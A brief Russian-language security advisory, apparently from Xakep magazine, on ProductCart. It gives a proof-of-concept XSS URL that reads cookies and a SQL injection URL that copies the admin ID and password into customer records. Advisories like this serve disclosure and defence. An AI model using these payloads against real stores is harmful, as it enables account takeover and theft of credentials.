Несколько уязвимостей в ProductCart

Рекомендуем почитать:

Xakep #304. IP-камеры на пентестах

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: ProductCart 

Несколько уязвимостей обнаружено в ProductCart. Удаленный пользователь может внедрить SQL команды и выполнить XSS нападение. 

1. XSS: 

http://[target]/productcart/pc/Custva.asp?redirectUrl=">
<script>alert(document.c ookie)</script><"

2. SQL инъекция: 

http://www.shop.com/productcart/pc/advSearch_h.asp?
idcategory=0&idSupplier=10&customfield=0&priceUntil=999;
update%20customers%20set%20name=
(select%20top%201%20idadmin%20from%20admins),  lastName=(select%20top%01%20adminpassword%20from%20admins),
phone=(select%20password%20from%20customers%20where%20 zip=987654)
%20where%20zip=987654;s--elect%20*%20from%20products%20 where%201=1&Submit.y=13&priceFrom=0
&sku=&keyWord=dark&IDBrand=0 &resultCnt=200&Submit.x=33&